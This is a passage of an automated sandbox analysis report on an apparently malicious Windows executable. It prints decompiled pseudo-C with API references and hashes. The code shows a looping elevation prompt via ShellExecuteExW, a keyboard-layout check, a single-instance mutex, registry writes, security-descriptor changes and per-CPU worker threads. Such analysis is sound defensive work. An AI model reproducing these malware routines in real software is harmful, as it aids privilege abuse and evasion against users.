            							_t115 = _t115 + 0x10;
            							_t110 = 1;
            							_t92 =  *(_t114 + _t89 * 2 - 2) & 0x0000ffff;
            							_t108 = 0x5c;
            							__eflags = _t92 - _t108;
            							if(__eflags != 0) {
            								__eflags = _t92 - 0x22;
            								if(__eflags != 0) {
            									_t114[_t89] = _t108;
            								} else {
            									 *(_t114 + _t89 * 2 - 2) = _t108;
            								}
            							}
            							goto L12;
            						}
            						 *0x1372498 = 0;
            						__eflags = _t104;
            						if(_t104 != 0) {
            							goto L2;
            						}
            						goto L7;
            					}
            					L4:
            					E01365212(_t112);
            					_t53 = 0;
            					goto L33;
            				}
            				goto L2;
            			}










































            0x013636b9
            0x013636ba
            0x013636bc
            0x013636c2
            0x01363765
            0x0136376e
            0x01363776
            0x0136377c
            0x01363782
            0x01363788
            0x0136378e
            0x01363793
            0x01363796
            0x01363798
            0x013636d8
            0x00000000
            0x013636d8
            0x013637a1
            0x013637a4
            0x013637ab
            0x013637b2
            0x013637b5
            0x013637b8
            0x013637bb
            0x013637be
            0x013637c1
            0x013637c4
            0x013637cb
            0x013637d2
            0x013637d8
            0x013638bf
            0x013638c5
            0x013638cb
            0x013638d0
            0x013638d0
            0x013638d1
            0x013638d7
            0x013638dd
            0x013638dd
            0x013638e2
            0x013638e2
            0x013638e7
            0x013638ea
            0x0136390c
            0x01363915
            0x0136391a
            0x0136391d
            0x01363920
            0x00000000
            0x01363920
            0x013638ec
            0x01363902
            0x01363902
            0x01363907
            0x0136390a
            0x013638ee
            0x00000000
            0x00000000
            0x01363900
            0x00000000
            0x00000000
            0x00000000
            0x01363900
            0x00000000
            0x0136390a
            0x013638ee
            0x013638f0
            0x013638f5
            0x013638fb
            0x013638fb
            0x013637df
            0x013637e6
            0x013637ec
            0x013637ed
            0x013637ef
            0x0136380f
            0x01363815
            0x01363817
            0x00000000
            0x00000000
            0x0136382e
            0x01363834
            0x01363836
            0x00000000
            0x00000000
            0x0136383d
            0x01363843
            0x0136384b
            0x01363851
            0x01363854
            0x01363856
            0x01363858
            0x0136385b
            0x0136385d
            0x013638b4
            0x013638b7
            0x00000000
            0x00000000
            0x00000000
            0x00000000
            0x0136385f
            0x0136385f
            0x0136385f
            0x01363866
            0x0136386a
            0x01363872
            0x0136387b
            0x01363883
            0x0136388e
            0x0136389b
            0x013638a0
            0x013638a3
            0x013638a6
            0x013638a6
            0x013638a9
            0x013638aa
            0x013638ad
            0x013638b0
            0x013638b0
            0x00000000
            0x0136385f
            0x013637f1
            0x013637fc
            0x01363802
            0x00000000
            0x01363807
            0x013636d1
            0x013636d6
            0x013636df
            0x013636e3
            0x013636f2
            0x013636f8
            0x013636fa
            0x01363701
            0x01363702
            0x01363705
            0x0136370a
            0x01363710
            0x0136371c
            0x01363726
            0x01363729
            0x0136372b
            0x00000000
            0x00000000
            0x01363731
            0x01363737
            0x0136373d
            0x01363742
            0x01363747
            0x01363748
            0x0136374f
            0x01363750
            0x01363753
            0x01363755
            0x01363758
            0x01363761
            0x0136375a
            0x0136375a
            0x0136375a
            0x01363758
            0x00000000
            0x01363753
            0x01363712
            0x01363718
            0x0136371a
            0x00000000
            0x00000000
            0x00000000
            0x0136371a
            0x013636e5
            0x013636e6
            0x013636eb
            0x00000000
            0x013636eb
            0x00000000

            APIs
            • PathRemoveBackslashW.SHLWAPI(00000000,?,00000000), ref: 013637DF
            • PathIsDirectoryW.SHLWAPI(00000000), ref: 013637E6
            • PathAddBackslashW.SHLWAPI(00000000,?,00000000), ref: 013637F1
              • Part of subcall function 01365220: GetCommandLineW.KERNEL32(0000000E,?,013613EA,?,00000000,01370278,?,?,01361BA9,?,01370278,00000E74,00000008,0000000C,?,01370278), ref: 01365226
              • Part of subcall function 01365220: CommandLineToArgvW.SHELL32(00000000,?,013613EA,?,00000000,01370278,?,?,01361BA9,?,01370278,00000E74,00000008,0000000C,?,01370278), ref: 0136522D
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: Path$BackslashCommandLine$ArgvDirectoryRemove
            • String ID:
            • API String ID: 1603908121-0
            • Opcode ID: cc8f41c494ca6a34a0548ff07e6cdc9050a47e3a2f40b909b360b56e20511572
            • Instruction ID: c34c53da51addee10ddd2774d2ca3746c71d5836b28169eb425751a821d3d190
            • Opcode Fuzzy Hash: cc8f41c494ca6a34a0548ff07e6cdc9050a47e3a2f40b909b360b56e20511572
            • Instruction Fuzzy Hash: 9361B272900219EFDB30EFA9E8859EE7BBCFF14318F14802DE509E614CEB3495498B25
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E013679AA() {
            				char _v8;
            				short _v10;
            				char _v20;
            				struct _SHELLEXECUTEINFOW _v80;
            				void* __esi;
            				void* _t22;
            				intOrPtr _t26;
            				void* _t35;
            				void* _t48;
            				intOrPtr _t49;
            
            				_t48 = GetCurrentProcess();
            				_t22 = E013658ED();
            				if(_t22 >= 0x600) {
            					_t22 = E0136775F(_t48); // executed
            					if(_t22 == 3) {
            						_t22 = E013677A8(_t48, _t48);
            						if(_t22 < 0x3000) {
            							E01365B6D();
            							_t49 = E01365503(0,  &_v8);
            							if(_t49 == 0) {
            								E01365297(0);
            							}
            							_t26 = E0136583E();
            							_t46 = _t26;
            							E013661FD(0x1371728, 0xcc, 0xa, 0xa,  &_v20);
            							_v80.cbSize = 0x3c;
            							_v80.fMask = 0;
            							_v10 = 0;
            							_v80.hwnd = GetForegroundWindow();
            							_v80.lpVerb =  &_v20;
            							_v80.lpFile = _t49;
            							_v80.lpParameters = _t26;
            							_v80.lpDirectory = 0;
            							_v80.nShow = 1;
            							_v80.hInstApp = 0;
            							_v80.lpIDList = 0;
            							_v80.lpClass = 0;
            							_v80.hkeyClass = 0;
            							_v80.dwHotKey = 0;
            							_v80.hIcon = 0;
            							_v80.hProcess = 0;
            							do {
            							} while (ShellExecuteExW( &_v80) == 0);
            							E01364FA9(_t49);
            							_t35 = E01364FA9(_t46);
            							E01365297(0);
            							return _t35;
            						}
            					}
            				}
            				return _t22;
            			}













            0x013679b6
            0x013679b8
            0x013679c5
            0x013679cc
            0x013679d5
            0x013679dc
            0x013679e7
            0x013679ef
            0x01367a00
            0x01367a06
            0x01367a09
            0x01367a0e
            0x01367a0f
            0x01367a14
            0x01367a28
            0x01367a30
            0x01367a39
            0x01367a3c
            0x01367a46
            0x01367a4c
            0x01367a4f
            0x01367a52
            0x01367a55
            0x01367a58
            0x01367a5f
            0x01367a62
            0x01367a65
            0x01367a68
            0x01367a6b
            0x01367a6e
            0x01367a71
            0x01367a74
            0x01367a7e
            0x01367a83
            0x01367a89
            0x01367a8f
            0x00000000
            0x01367a98
            0x013679e7
            0x013679d5
            0x01367a9d

            APIs
            • GetCurrentProcess.KERNEL32 ref: 013679B1
              • Part of subcall function 0136775F: OpenProcessToken.ADVAPI32(00000000,00000008,00000000,013679D1,00000000), ref: 01367772
              • Part of subcall function 0136775F: GetTokenInformation.KERNELBASE(?,00000012(TokenIntegrityLevel),00000000,00000004,?), ref: 0136778B
              • Part of subcall function 013677A8: OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 013677BA
              • Part of subcall function 013677A8: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,0000004C,00000000), ref: 013677D3
              • Part of subcall function 013677A8: IsValidSid.ADVAPI32(?,00000000), ref: 013677E2
              • Part of subcall function 01365B6D: ReleaseMutex.KERNEL32(013679F4), ref: 01365B73
              • Part of subcall function 01365503: GetModuleFileNameW.KERNEL32(?,00000000,00000106,?,00000000,?,?,01362F39,00000000,?), ref: 01365527
            • GetForegroundWindow.USER32 ref: 01367A40
            • ShellExecuteExW.SHELL32(0000003C), ref: 01367A78
              • Part of subcall function 01365297: ExitProcess.KERNEL32 ref: 0136529D
            Strings
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: ProcessToken$InformationOpen$CurrentExecuteExitFileForegroundModuleMutexNameReleaseShellValidWindow
            • String ID: <
            • API String ID: 227555697-4251816714
            • Opcode ID: 538e33ba73d77b5364fd0184a86384f930025b77829ebf172500fe8b9de60cfb
            • Instruction ID: be8c1d8e1024fc10dfd93c16e90055ad5d916122abc80406926da6a71a1807ac
            • Opcode Fuzzy Hash: 538e33ba73d77b5364fd0184a86384f930025b77829ebf172500fe8b9de60cfb
            • Instruction Fuzzy Hash: 402195B1D0131AAEEB11EFE9D8809DEBBBCBF14258F54443EE404B6344DB7486018B95
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 83%
            			E013645A3(void* __ebx, void* __ecx, void* __eflags) {
            				void* _t3;
            				void* _t5;
            				void* _t8;
            				void* _t14;
            				void* _t15;
            
            				_t15 = __ecx;
            				_t14 = __ebx;
            				L01368784();
            				SetErrorMode(1); // executed
            				_t3 = E01361513(); // executed
            				if(_t3 == 0) {
            					_push(1);
            					L7:
            					E01365297();
            					L8:
            					if(E013658ED() >= 0x600) {
            						E01367893();
            					}
            					if( *0x13724cc == 0) {
            						_t8 = E013657B9(); // executed
            						_t27 = _t8;
            						if(_t8 == 0) {
            							__eflags =  *0x13724b8;
            							if(__eflags != 0) {
            								E013679AA(); // executed
            							}
            						} else {
            							MessageBoxW(0, L"ERR0R D0UBLE RUN!", L"-Err-", 0x10);
            							E01365297(1);
            						}
            					}
            					_t5 = E01363B6F(_t14, _t27); // executed
            					E01368783(_t5);
            					return 0;
            				}
            				_t22 =  *0x13724b4;
            				if( *0x13724b4 == 0 && E013656E9(_t15, _t22) != 0) {
            					E01365297(0);
            				}
            				_t24 =  *0x13724d8;
            				if( *0x13724d8 == 0) {
            					goto L8;
            				}
            				E0136465E(_t24);
            				_push(0);
            				goto L7;
            			}








            0x013645a3
            0x013645a3
            0x013645a3
            0x013645aa
            0x013645b0
            0x013645b7
            0x013645e5
            0x013645e7
            0x013645e7
            0x013645ed
            0x013645fa
            0x013645fc
            0x013645fc
            0x01364608
            0x0136460a
            0x0136460f
            0x01364611
            0x01364631
            0x01364638
            0x0136463a
            0x0136463a
            0x01364613
            0x01364621
            0x01364629
            0x0136462e
            0x01364611
            0x0136463f
            0x01364644
            0x0136464b
            0x0136464b
            0x013645b9
            0x013645c0
            0x013645cd
            0x013645d2
            0x013645d3
            0x013645da
            0x00000000
            0x00000000
            0x013645dc
            0x013645e1
            0x00000000

            APIs
            • SetErrorMode.KERNELBASE(00000001,01364655,00000000), ref: 013645AA
            • MessageBoxW.USER32(00000000,ERR0R D0UBLE RUN!,-Err-,00000010), ref: 01364621
              • Part of subcall function 013656E9: GetKeyboardLayoutList.USER32(00000000,00000000,00000001,00000000,01370278,?,?,01361A82), ref: 013656FC
              • Part of subcall function 013656E9: GetKeyboardLayoutList.USER32(00000000,00000000,?,?,01361A82), ref: 0136571C
              • Part of subcall function 01365297: ExitProcess.KERNEL32 ref: 0136529D
            Strings
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: KeyboardLayoutList$ErrorExitMessageModeProcess
            • String ID: -Err-$ERR0R D0UBLE RUN!
            • API String ID: 1549214999-2540690572
            • Opcode ID: d9f8a0706ee2e06e439bb9b976918f472fbcfb8d9a56db012ca4e572e0cf7775
            • Instruction ID: 4d11bca3c0da66b802baffabf61e8cce2cbcd5693c25ef681f55a870a98445ac
            • Opcode Fuzzy Hash: d9f8a0706ee2e06e439bb9b976918f472fbcfb8d9a56db012ca4e572e0cf7775
            • Instruction Fuzzy Hash: 2301D120A80343D9FB7533BD980576A2A6D5B2076DF08C025E354648CDDFE484D0CA26
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E01365A9E(void* _a4, short* _a8, short* _a12, int* _a16, int* _a20) {
            				void* _v8;
            				long _t13;
            				long _t15;
            				long _t18;
            				int* _t27;
            				char* _t30;
            
            				_t30 = 0;
            				_t13 = RegOpenKeyExW(_a4, _a8, 0, 1,  &_v8); // executed
            				if(_t13 != 0) {
            					L7:
            					return _t30;
            				}
            				_t27 = _a20;
            				_t15 = RegQueryValueExW(_v8, _a12, 0, _a16, 0, _t27); // executed
            				if(_t15 == 0 &&  *_t27 > 2) {
            					_t30 = E01364F5C( *_t27);
            					if(_t30 != 0) {
            						_t18 = RegQueryValueExW(_v8, _a12, 0, _a16, _t30, _t27); // executed
            						if(_t18 != 0) {
            							E01364FA9(_t30);
            							_t30 = 0;
            						}
            					}
            				}
            				RegCloseKey(_v8); // executed
            				goto L7;
            			}









            0x01365ab0
            0x01365ab5
            0x01365abd
            0x01365b15
            0x01365b1c
            0x01365b1c
            0x01365ac0
            0x01365acf
            0x01365ad7
            0x01365ae5
            0x01365aea
            0x01365af8
            0x01365b00
            0x01365b03
            0x01365b09
            0x01365b09
            0x01365b00
            0x01365aea
            0x01365b0e
            0x00000000

            APIs
            • RegOpenKeyExW.KERNELBASE(0000000C,00000005,00000000,00000001,?,01370278,80000002,?,?,013623A5,80000002,?,?,?,?,01370278), ref: 01365AB5
            • RegQueryValueExW.KERNELBASE(?,000002D3,00000000,01370278,00000000,?,00000001,?,?,013623A5,80000002,?,?,?,?,01370278), ref: 01365ACF
            • RegCloseKey.KERNELBASE(?,?,?,013623A5,80000002,?,?,?,?,01370278,000002D3,00000005,0000000C,?), ref: 01365B0E
              • Part of subcall function 01364F5C: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,01361548), ref: 01364F71
              • Part of subcall function 01364F5C: GetProcessHeap.KERNEL32(?,01361548), ref: 01364F80
            • RegQueryValueExW.KERNELBASE(?,000002D3,00000000,01370278,00000000,?,?,?,013623A5,80000002,?,?,?,?,01370278,000002D3), ref: 01365AF8
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: HeapQueryValue$CloseCreateOpenProcess
            • String ID:
            • API String ID: 3348224683-0
            • Opcode ID: 213b61e5ee9941dd52a8d2bf5d8c2820fd8817130393f8cb51901795e30d3199
            • Instruction ID: 2993ee875f10b716c8ad1971d0dab0370ea17597e95f50ee713e11ff4795d9b3
            • Opcode Fuzzy Hash: 213b61e5ee9941dd52a8d2bf5d8c2820fd8817130393f8cb51901795e30d3199
            • Instruction Fuzzy Hash: 90012D32504119BFEF325E95EC85DAFBB6DEF457A8B144065FD0492124D7328D20DBA0
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 36%
            			E01367932(intOrPtr _a4) {
            				void* _v8;
            				long _v12;
            				void* _t8;
            				int _t13;
            
            				_push(_t15);
            				if( *0x13722e0 != 0) {
            					L4:
            					 *0x13715a0(_a4, 1, 1,  *0x13722e4, 0, 0, 0); // executed
            					if(0 == 0) {
            						_t8 = 1;
            					} else {
            						goto L5;
            					}
            				} else {
            					if(OpenProcessToken(GetCurrentProcess(), 8,  &_v8) == 0) {
            						L5:
            						_t8 = 0;
            					} else {
            						_t13 = GetTokenInformation(_v8, 1, 0x13722e4, 0x200,  &_v12); // executed
            						if(_t13 == 0) {
            							goto L5;
            						} else {
            							 *0x13722e0 = 1;
            							E013651FE(_v8);
            							goto L4;
            						}
            					}
            				}
            				return _t8;
            			}







            0x01367936
            0x01367942
            0x01367985
            0x01367995
            0x0136799d
            0x013679a3
            0x00000000
            0x00000000
            0x00000000
            0x01367944
            0x01367958
            0x0136799f
            0x0136799f
            0x0136795a
            0x0136796c
            0x01367974
            0x00000000
            0x01367976
            0x01367979
            0x0136797f
            0x00000000
            0x01367984
            0x01367974
            0x01367958
            0x013679a9

            APIs
            • GetCurrentProcess.KERNEL32(00000008,?,00000000,?,?,?,01367917,?,?,?,01363107,?,00000001), ref: 0136794A
            • OpenProcessToken.ADVAPI32(00000000,00000008,?,00000000,?,?,?,01367917,?,?,?,01363107,?,00000001), ref: 01367950
            • GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),013722E4,00000200,?,?,?,?,01367917,?,?,?,01363107,?,00000001), ref: 0136796C
              • Part of subcall function 013651FE: CloseHandle.KERNEL32(00000000,?,01367B64,00000000,?,01367BC3,?,00000000,?,01363793,?,00000000,00000000,01363928,00000000), ref: 0136520A
            • SetNamedSecurityInfoW.ADVAPI32(?,00000001,00000001,00000000,00000000,00000000,00000000,?,?,?,01367917,?,?,?,01363107,?), ref: 01367995
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: ProcessToken$CloseCurrentHandleInfoInformationNamedOpenSecurity
            • String ID:
            • API String ID: 988355331-0
            • Opcode ID: c62542cd8b00e827720f00afbaf0af796e8681714d1ce460a5b029f203b7d3d8
            • Instruction ID: bd1043ac2ebcc04dfbe8543728aa45f240306eb4ff74757c186b9cc6dd21aca1
            • Opcode Fuzzy Hash: c62542cd8b00e827720f00afbaf0af796e8681714d1ce460a5b029f203b7d3d8
            • Instruction Fuzzy Hash: 7B013171A50119BFFB359BB59C09EBB7EEDEB05798F408129F905D1048DB60CA10DBA4
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E01365B1D(void* __ecx, void* _a4, short* _a8, short* _a12, int _a16, char* _a20, int _a24) {
            				void* _v8;
            				long _t11;
            				int _t19;
            
            				_t19 = 0;
            				_t11 = RegCreateKeyExW(_a4, _a8, 0, 0, 0, 2, 0,  &_v8, 0); // executed
            				if(_t11 == 0) {
            					RegSetValueExW(_v8, _a12, 0, _a16, _a20, _a24); // executed
            					_t19 =  ==  ? 1 : 0; // executed
            					RegCloseKey(_v8); // executed
            				}
            				return _t19;
            			}






            0x01365b22
            0x01365b35
            0x01365b3d
            0x01365b4f
            0x01365b5d
            0x01365b60
            0x01365b60
            0x01365b6c

            APIs
            • RegCreateKeyExW.KERNELBASE(00000000,01372360,00000000,00000000,00000000,00000002,00000000,01361972,00000000,00000000,?,?,013625CB,80000002,?,?), ref: 01365B35
            • RegSetValueExW.KERNELBASE(01361972,?,00000000,00000000,013723B8,?,?,?,013625CB,80000002,?,?,00000003,01372320,?,013723B8), ref: 01365B4F
            • RegCloseKey.KERNELBASE(01361972,?,?,013625CB,80000002,?,?,00000003,01372320,?,013723B8,00000000,?,01372360,00000000,01361972), ref: 01365B60
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: CloseCreateValue
            • String ID:
            • API String ID: 1818849710-0
            • Opcode ID: d3dbd7533830d4eda40cd12ed9c70a548a35088e621d95ba3464f0de24a5049a
            • Instruction ID: cfbf8753d0a7342ea30f824f9d3c5b19652d7cbf5e63f1c9c6ff3b10440d9a33
            • Opcode Fuzzy Hash: d3dbd7533830d4eda40cd12ed9c70a548a35088e621d95ba3464f0de24a5049a
            • Instruction Fuzzy Hash: E7F0DA7251122DBBCF315E96DC09DDB7F6DEF0A3A1F004165FE09A1020D6328A20EBE0
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 90%
            			E01367B22(void* _a4, _Unknown_base(*)()* _a8) {
            				signed int _t8;
            				void* _t11;
            				void* _t15;
            				struct _SECURITY_ATTRIBUTES* _t17;
            				void* _t20;
            				void* _t21;
            
            				_t21 = _a4;
            				_t17 = 0;
            				 *((intOrPtr*)(_t21 + 8)) = 0;
            				_t8 = E013658D6(); // executed
            				if((_t8 & 0x7fffffff) <= 0) {
            					L3:
            					return 1;
            				} else {
            					goto L1;
            				}
            				while(1) {
            					L1:
            					_t11 = CreateThread(0, 0, _a8, _t21, 0, 0); // executed
            					_t20 = _t11;
            					if(_t20 == 0) {
            						break;
            					}
            					SetThreadPriority(_t20, 2); // executed
            					 *((intOrPtr*)(_t21 + 8)) =  *((intOrPtr*)(_t21 + 8)) + 1;
            					E013651FE(_t20);
            					_t17 =  &(_t17->nLength); // executed
            					_t15 = E013658D6(); // executed
            					_push(0);
            					_pop(0);
            					if(_t17 < _t15 + _t15) {
            						continue;
            					}
            					goto L3;
            				}
            				return 0;
            			}









            0x01367b27
            0x01367b2d
            0x01367b2f
            0x01367b32
            0x01367b3c
            0x01367b74
            0x00000000
            0x00000000
            0x00000000
            0x00000000
            0x01367b3e
            0x01367b3e
            0x01367b46
            0x01367b4c
            0x01367b50
            0x00000000
            0x00000000
            0x01367b55
            0x01367b5b
            0x01367b5f
            0x01367b65
            0x01367b66
            0x01367b6d
            0x01367b6f
            0x01367b72
            0x00000000
            0x00000000
            0x00000000
            0x01367b72
            0x00000000

            APIs
              • Part of subcall function 013658D6: GetSystemInfo.KERNELBASE(?,?,01363793,?,00000000,00000000,01363928,00000000), ref: 013658E0
            • CreateThread.KERNELBASE(00000000,00000000,00000000,?,00000000,00000000), ref: 01367B46
            • SetThreadPriority.KERNELBASE(00000000,00000002,?,01367BC3,?,00000000,?,01363793,?,00000000,00000000,01363928,00000000), ref: 01367B55
              • Part of subcall function 013651FE: CloseHandle.KERNEL32(00000000,?,01367B64,00000000,?,01367BC3,?,00000000,?,01363793,?,00000000,00000000,01363928,00000000), ref: 0136520A
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: Thread$CloseCreateHandleInfoPrioritySystem
            • String ID:
            • API String ID: 3033971346-0
            • Opcode ID: 6e2ce692109505143ca733c597857df94226b06ae554cda0bbead8650722ea88
            • Instruction ID: 989e961691af3687f98004b029dd926200262c231b38462dbafe2b71264dcc81
            • Opcode Fuzzy Hash: 6e2ce692109505143ca733c597857df94226b06ae554cda0bbead8650722ea88
            • Instruction Fuzzy Hash: 71F0BB332002057AD321267A9C44D7B7FECDBC67BDF24813AF715C3155D960C4025361
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E013657B8(void* __edx) {
            				short _v6;
            				short _v92;
            				intOrPtr _v117;
            				void* _t10;
            				struct _SECURITY_ATTRIBUTES* _t15;
            
            				_v117 = _v117 + __edx;
            				E013661FD(0x1371728, 0x455, 5, 0x56,  &_v92);
            				_v6 = 0;
            				_t15 = 0;
            				_t10 = CreateMutexW(0, 0,  &_v92); // executed
            				 *0x1371f68 = _t10;
            				if(_t10 != 0 && RtlGetLastWin32Error() == 0xb7) {
            					_t15 = 1;
            				}
            				return _t15;
            			}








            0x013657b8
            0x013657d2
            0x013657dc
            0x013657e0
            0x013657e8
            0x013657ee
            0x013657f5
            0x01365804
            0x01365804
            0x0136580b

            APIs
            • CreateMutexW.KERNELBASE(00000000,00000000,?), ref: 013657E8
            • RtlGetLastWin32Error.NTDLL ref: 013657F7
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: CreateErrorLastMutexWin32
            • String ID:
            • API String ID: 682235734-0
            • Opcode ID: 23fc672defa9c588098a80ce7c1b855a993db9b5c7c14b5484971f5af2426559
            • Instruction ID: ede6c5f95f7cf09aa60a0f88555c7f80c040cb7262068c93948c11e48f584593
            • Opcode Fuzzy Hash: 23fc672defa9c588098a80ce7c1b855a993db9b5c7c14b5484971f5af2426559
            • Instruction Fuzzy Hash: 69F0A063A40754AAE7306AE85C0AAABBFBCDF04785F00416AEE05E2289E660850487A1
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E013657B9() {
            				short _v6;
            				short _v92;
            				void* _t8;
            				struct _SECURITY_ATTRIBUTES* _t11;
            
            				E013661FD(0x1371728, 0x455, 5, 0x56,  &_v92);
            				_v6 = 0;
            				_t11 = 0;
            				_t8 = CreateMutexW(0, 0,  &_v92); // executed
            				 *0x1371f68 = _t8;
            				if(_t8 != 0 && RtlGetLastWin32Error() == 0xb7) {
            					_t11 = 1;
            				}
            				return _t11;
            			}







            0x013657d2
            0x013657dc
            0x013657e0
            0x013657e8
            0x013657ee
            0x013657f5
            0x01365804
            0x01365804
            0x0136580b

            APIs
            • CreateMutexW.KERNELBASE(00000000,00000000,?), ref: 013657E8
            • RtlGetLastWin32Error.NTDLL ref: 013657F7
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: CreateErrorLastMutexWin32
            • String ID:
            • API String ID: 682235734-0
            • Opcode ID: 199fbd9bfba285ce91ce10dae14509ae261bec6d36844c084dc3a6c2a04400fc
            • Instruction ID: d46b34ec41742d81fa3b3a1eb358c4415eafb377fc67b965b96f235ce3512beb
            • Opcode Fuzzy Hash: 199fbd9bfba285ce91ce10dae14509ae261bec6d36844c084dc3a6c2a04400fc
            • Instruction Fuzzy Hash: 1DF06563A40755A7E7306AE85C0BAABBBBCDF04785F014065EE05E2289F664850487E5
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 82%
            			E0136775F(void* _a4) {
            				void _v8;
            				void* _v12;
            				long _v16;
            				signed int _t17;
            
            				_v8 = _v8 & 0x00000000;
            				if(OpenProcessToken(_a4, 8,  &_v12) != 0) {
            					_t17 = GetTokenInformation(_v12, 0x12,  &_v8, 4,  &_v16); // executed
            					asm("sbb eax, eax");
            					_v8 = _v8 &  ~_t17;
            					E013651FE(_v12);
            				}
            				return _v8;
            			}







            0x01367765
            0x0136777a
            0x0136778b
            0x01367796
            0x01367798
            0x0136779b
            0x013677a0
            0x013677a7

            APIs
            • OpenProcessToken.ADVAPI32(00000000,00000008,00000000,013679D1,00000000), ref: 01367772
            • GetTokenInformation.KERNELBASE(?,00000012(TokenIntegrityLevel),00000000,00000004,?), ref: 0136778B
